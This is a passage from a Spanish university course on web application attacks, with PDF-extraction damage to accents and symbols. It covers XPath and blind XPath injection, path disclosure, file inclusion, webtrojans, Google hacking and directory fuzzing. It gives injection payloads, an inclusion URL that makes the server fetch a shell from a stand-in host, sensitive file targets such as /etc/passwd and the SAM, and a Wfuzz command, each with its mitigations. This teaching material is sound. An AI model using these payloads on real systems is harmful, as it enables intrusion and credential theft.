231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

ltusuario login=usuario password=miPasswordXml nivel=1 gt

ltusuario login=invitado password=invitado nivel=0 gt

CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web

ltusuariosgt

La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde

para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario

y un password con los que posteriormente formara una query de XPath con

la siguiente estructura

string xpath = usuariosusuario[login= + usuario + and password= + password + ]

En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-

tivo a no ser que el usuario y el password correspondan con los establecidos en

el documento XML pero si se trata de un entorno inseguro donde los campos

de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una

inyeccioacuten

Si un usuario introdujera en el campo password un valor como abclsquo or

lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder

a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado

positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y

posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-

da seriacutea el que nos muestra el siguiente ejemplo

Figura 40 Evaluacioacuten de los paraacutemetros en XPath

Como hemos visto con este tipo de inyecciones es posible hacer modificacio-

nes en la query para obtener el resultado deseado (truefalse) pero es posible ir

mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos

atributos y elementos

Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath

Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores

del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten

vulnerable

Retomando el caso praacutectico anterior supongamos que cuando realizamos login

en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten

devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso

de que la query XPath devuelva un resultado negativo (cuando se realiza una

inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo

password incorrectordquo

CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web

En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a

Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de

un motor XML y no SQL podemos utilizar funciones como count() la

cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener

al menos 1 nodo

bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob

bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1

Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que

estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL

(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal

modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML

bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo

bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo

Si con esta prueba obtenemos un resultado positivo no hay duda de que es un

sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML

iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo

El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea

sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos

que habriacutea que realizar seriacutean los siguientes

1) Extraer el nombre del nodo

2) Extraer los atributos del nodo

3) Comprobar si es un elemento3 En caso positivo obtener el valor

4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-

zando

5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo

Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de

caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length

[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]

Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya

que puede haber varios nodos con el mismo nombre dentro del mismo padre)

y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando

fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-

ble sacar la longitud del nombre de la siguiente manera

(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean

CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

